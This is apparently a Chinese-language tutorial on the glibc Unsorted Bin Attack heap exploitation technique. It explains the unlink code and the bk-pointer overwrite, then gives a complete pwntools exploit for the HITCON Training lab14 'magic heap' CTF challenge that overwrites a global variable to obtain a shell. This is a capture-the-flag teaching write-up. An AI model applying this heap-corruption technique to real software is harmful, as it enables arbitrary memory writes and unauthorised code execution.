堆攻击——Unsorted Bin Attack

介绍

Unsorted Bin Attack 是一种利用 unsorted bin 漏洞实现任意地址写的攻击手段。但是其只能将目标地址写为一个较大且不可控的值,虽然比较鸡肋,但是常常作为一种辅助攻击手段发挥作用。

原理

unsorted bin 采用双向链表管理 chunk,遵循 FIFO 的规则,当我们试图从 unsorted bin 取出一个堆块时,会发生如下操作将 chunk 从链表中脱离:

1
2
3
4
5
6
victim = unsorted_chunk(av)->bk;
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

正常情况下这段代码运行的很好,可是一旦 bk 被篡改,那我们就可以控制任意地址写入 unsorted_chunks (av)

条件

  • 需要有修改 bk 指针的机会,比如 UAF 或者堆溢出。
  • glibc 在 2.33 对 unsorted bin 的双向链表加入了完整性检查,Unsorted Bin Attack 不再适用。

利用

我们首先分配一个可以被放入 unsorted bin 的 chunk。
由于此时没有任何 chunk 被释放,所以 unsorted bin 的 fdbk 均指向自身。

1
allocate(0x80)

之后我们将其释放,进入 unsorted bin。

1
free(0)

之后我们通过 UAF 或堆溢出等漏洞,篡改 chunk 的 bk 到目标地址 - 0x10 的位置。

在64位系统中,chunk的结构为:

1
prev_size (8字节) | size (8字节) | fd (8字节) | bk (8字节) | ...

所以fd位于chunk基址+0x10处。要让目标地址成为fake chunk的fd字段,bk应指向target_addr - 0x10”

虽然现在目标地址处既没有被分配也没有被释放,但是它却存在在 unsorted bin 中,我们在目标地址处创造了一个 fake chunk。

1
2
3
fd = 0
bk = taret_addr - 0x10
edit(0, p64(fd) + p64(bk))

我们再次分配一段内存,此时会从 unsorted bin 中取出我们的 fake chunk。为了解开链表,bck 会被赋值为 bk,而在随后的 bck->fd = unsorted_chunks (av);中,我们的目标地址会被写为 unsorted_chunks (av),达成 Unsorted Bin Attack。

1
allocate(0x80)

虽然 Unsorted Bin Attack 看起来没有什么用,但是我们可以利用它来修改 global_max_fast,来让更大的 chunk 进入 fast bin 进行 Fast Bin Attack。

例题

HITCON Training lab14 magic heap

一道堆菜单题,允许创建,编辑,删除堆,在编辑过程中存在堆溢出。
之后可以发现,只要选项等于 4869 且 magic 大于 4869,就可以 getshell。
考虑使用 Unsorted Bin Attack 修改 magic
完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context(arch='amd64', os='linux', log_level='info')

libc = ELF("./libc.so.6")

p = remote("challenge.bluesharkinfo.com", 21195)
#p = process("./pwn")


def allocate(size, content):
p.recvuntil(b":")
p.sendline(b"1")
p.recvuntil(b":")
p.sendline(str(size).encode())
p.recvuntil(b":")
p.sendline(content)


def edit(idx, size, content):
p.recvuntil(b":")
p.sendline(b"2")
p.recvuntil(b":")
p.sendline(str(idx).encode())
p.recvuntil(b":")
p.sendline(str(size).encode())
p.recvuntil(b":")
p.sendline(content)


def free(idx):
p.recvuntil(b":")
p.sendline(b"3")
p.recvuntil(b":")
p.sendline(str(idx).encode())


allocate(0x20, b"AAAA") # 0
allocate(0x80, b"AAAA") # 1
allocate(0x20, b"AAAA") # 2 防止与 top chunk 合并

free(1)

magic = 0x6020c0
fd = 0
bk = magic - 0x10

edit(0, 0x20 + 0x20, b"A" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
allocate(0x80, b"AAAA")
p.sendline(b"4869")

p.interactive()